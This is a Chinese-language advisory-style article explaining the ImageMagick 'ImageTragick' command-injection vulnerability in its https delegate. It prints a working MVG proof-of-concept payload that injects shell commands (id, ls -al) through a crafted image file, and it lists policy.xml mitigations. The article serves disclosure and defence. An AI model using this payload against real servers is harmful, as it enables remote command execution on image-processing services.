深入淺析ImageMagick指令執行漏洞

WBOY
發布: 2016-12-05 13:27:17
原創
1437 人瀏覽過

00 前言

什麼是ImageMagick?

ImageMagick是一個功能強大的開源圖形處理軟體,可以用來讀取、寫入和處理超過90種的圖片檔案,包括流行的JPEG、GIF、 PNG、PDF以及PhotoCD等格式。使用它可以對圖片進行切割、旋轉、組合等多種特效的處理。

由於其功能強大、性能較好,並且對很多語言都有拓展支持,所以在程序開發中被廣泛使用。許多網站開發者喜愛使用ImageMagick拓展來做web上的圖片處理工作,例如使用者頭像生成、圖片編輯等。

01 漏洞描述

ImageMagick是一款開源圖片處理庫,支援PHP、Ruby、NodeJS和Python等多種語言,使用非常廣泛。包括PHP imagick、Ruby rmagick和paperclip以及NodeJS imagemagick等多個圖片處理插件都依賴它運作。當攻擊者建構含有惡意程式碼得圖片時,ImageMagick程式庫對於HTTPPS檔案處理不當,沒有做任何過濾,可遠端實現遠端命令執行,進而可能控制伺服器。

02 影響程度

攻擊成本:低

危害程度:高

影響範圍:ImageMagick 6.9.3-9以前的所有版本

03 漏洞分析

指令執行漏洞是出在ImageMagick對https形式的檔案處理的過程。

ImageMagick之所以支持那麼多的文件格式,是因為它內置了非常多的圖像處理庫,對於這些圖像處理庫,ImageMagick給它起了個名字叫做”Delegate”(委託),每個Delegate對應一種格式的檔案,然後透過系統的system()指令來呼叫外部的lib來處理。呼叫外部lib的過程是使用系統的system指令來執行的,導致指令執行的程式碼。

ImageMagick委託的預設設定檔: /etc/ImageMagick/delegates.xml

具體程式碼請參考:Github-ImageMagick

我們定位到https委託得那一行:

" <delegate decode=\"https\" command=\""wget" -q -O "%o" "https:%M"\"/>"
登入後複製

可以看到,command定義了它對於https檔案處理時帶入system()函數得命令:"wget" -q -O "%o" "https:%M"。

wget是從網路下載檔案得命令,%M是一個佔位符,它得具體定義在設定檔中如下:

%i input image filename
%o output image filename
%u unique temporary filename
%Z unique temporary filename
%# input image signature
%b image file size
%c input image comment
%g image geometry
%h image rows (height)
%k input image number colors
%l image label
%m input image format
%p page number
%q input image depth
%s scene number
%w image columns (width)
%x input image x resolution
%y input image y resolution
登入後複製

可以看到%m被定義為輸入的圖片格式,也就是我們輸入的url位址。但由於只是做了簡單的字串拼接,沒有做任何過濾,直接拼接到command指令中,所以我們可以將引號閉合後透過"|",」`」,」&」等帶入其他指令,也就形成了命令注入。

例如我們傳入如下碼:

https://test.com"|ls “-al
登入後複製

則實際得system函數執行得指令為:

“wget” -q -O “%o” “ https://test.com"|ls “-al”
登入後複製

這樣,ls -al命令成功執行。

04 漏洞利用

這個漏洞得poc由老外給出得,如下:

push graphic-context
viewbox 0 0 640 480
fill 'url(https://"|id; ")'
pop graphic-context
登入後複製

push和pop是用於堆疊的操作,一個進棧,一個出棧;

viewbox是表示SVG可見區域的大小,或是可以想像成舞台大小,畫布大小。簡單理解就是根據後面得參數選取其中得一部分畫面;

fill url()是把圖片填入目前元素內;

在其中我們使用了fill url()的形式調用存在漏洞的https delegate,當ImageMagick去處理這個檔案時,漏洞就會被觸發。

附:ImageMagick預設支援一種圖片格式,叫mvg,而mvg與svg格式類似,其中是以文字形式寫入向量圖的內容,允許在其中載入ImageMagick中其他的delegate(例如存在漏洞的https delegate) 。並且在圖形處理的過程中,ImageMagick會自動根據其內容進行處理,也就是說我們可以將文件隨意定義為png、jpg等網站上傳允許的格式,這大大增加了漏洞的可利用場景。

利用過程:

建立一個exploit.png文件,包含以下內容:

push graphic-context
viewbox 0 0 640 480
fill 'url(https://test.com/image.jpg"|ls "-al)'
pop graphic-context
登入後複製

執行指令:convert exploit.png 1.png(後面的是convert的參數)

05 漏洞修復

升級到最新版本

配置/etc/ImageMagick/policy.xml的方式來禁止https、mvg這些delegate,或直接在設定檔刪除對應的delegate

<policymap>
<policy domain="coder" rights="none" pattern="EPHEMERAL" />
<policy domain="coder" rights="none" pattern="URL" />
<policy domain="coder" rights="none" pattern="HTTPS" />
<policy domain="coder" rights="none" pattern="MVG" />
<policy domain="coder" rights="none" pattern="MSL" />
</policymap>
登入後複製

以上所述是小編給大家介紹的ImageMagick命令執行漏洞的知識,希望對大家有所幫助,如果大家有任何疑問請給我留言,小編會及時回覆大家的。在此也非常感謝大家對腳本之家網站的支持!

相關標籤:
來源:php.cn
本網站聲明
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn
熱門教學
更多>
最新下載
更多>
網站特效
網站源碼
網站素材
前端模板
關於我們 免責聲明 Sitemap
PHP中文網:公益線上PHP培訓,幫助PHP學習者快速成長!